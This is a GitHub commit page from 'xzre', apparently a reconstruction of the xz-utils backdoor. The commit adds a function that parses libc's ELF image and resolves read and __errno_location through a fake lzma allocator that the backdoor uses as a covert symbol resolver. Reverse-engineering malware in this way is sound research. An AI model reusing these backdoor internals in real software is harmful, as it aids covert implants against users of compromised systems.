Skip to content

Commit

Permalink
xzre_code: add resolve_libc_imports
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed Aug 3, 2024
1 parent c05fdcf commit f57aa3d
Show file tree
Hide file tree
Showing 3 changed files with 35 additions and 0 deletions.
9 changes: 9 additions & 0 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -3894,6 +3894,15 @@ static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
extern fake_lzma_allocator_t fake_lzma_allocator;
static_assert(sizeof(fake_lzma_allocator) == 0x20);

/**
* @brief lzma_alloc function, used by the backdoor as an ELF symbol resolver
* the @p allocator 's opaque field must point to a parsed @ref elf_info_t
*
* @param size the encoded string ID of the function to resolve
* @param allocator the fake lzma allocator referring to the @ref elf_info_t to search into.
*/
extern void *lzma_alloc(size_t size, lzma_allocator *allocator);

/**
* @brief special .data.rel.ro section that contains the offset to elf_functions
*
Expand Down
1 change: 1 addition & 0 deletions xzre_code/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ add_library(xzre_code
fake_lzma_free.c
find_function.c
main_elf_parse.c
resolve_libc_imports.c
rsa_key_hash.c
run_backdoor_commands.c
secret_data_append_from_address.c
Expand Down
25 changes: 25 additions & 0 deletions xzre_code/resolve_libc_imports.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"
#include <elf.h>

BOOL resolve_libc_imports(
struct link_map *libc,
elf_info_t *libc_info,
libc_imports_t *imports
){
lzma_allocator *resolver = get_lzma_allocator();
if(!elf_parse((Elf64_Ehdr *)libc->l_addr, libc_info)){
return FALSE;
}
resolver->opaque = libc_info;
imports->read = lzma_alloc(STR_read, resolver);
if(imports->read)
++imports->resolved_imports_count;
imports->__errno_location = lzma_alloc(STR_errno_location, resolver);
if(imports->__errno_location)
++imports->resolved_imports_count;

return imports->resolved_imports_count == 2;
}

0 comments on commit f57aa3d

Please sign in to comment.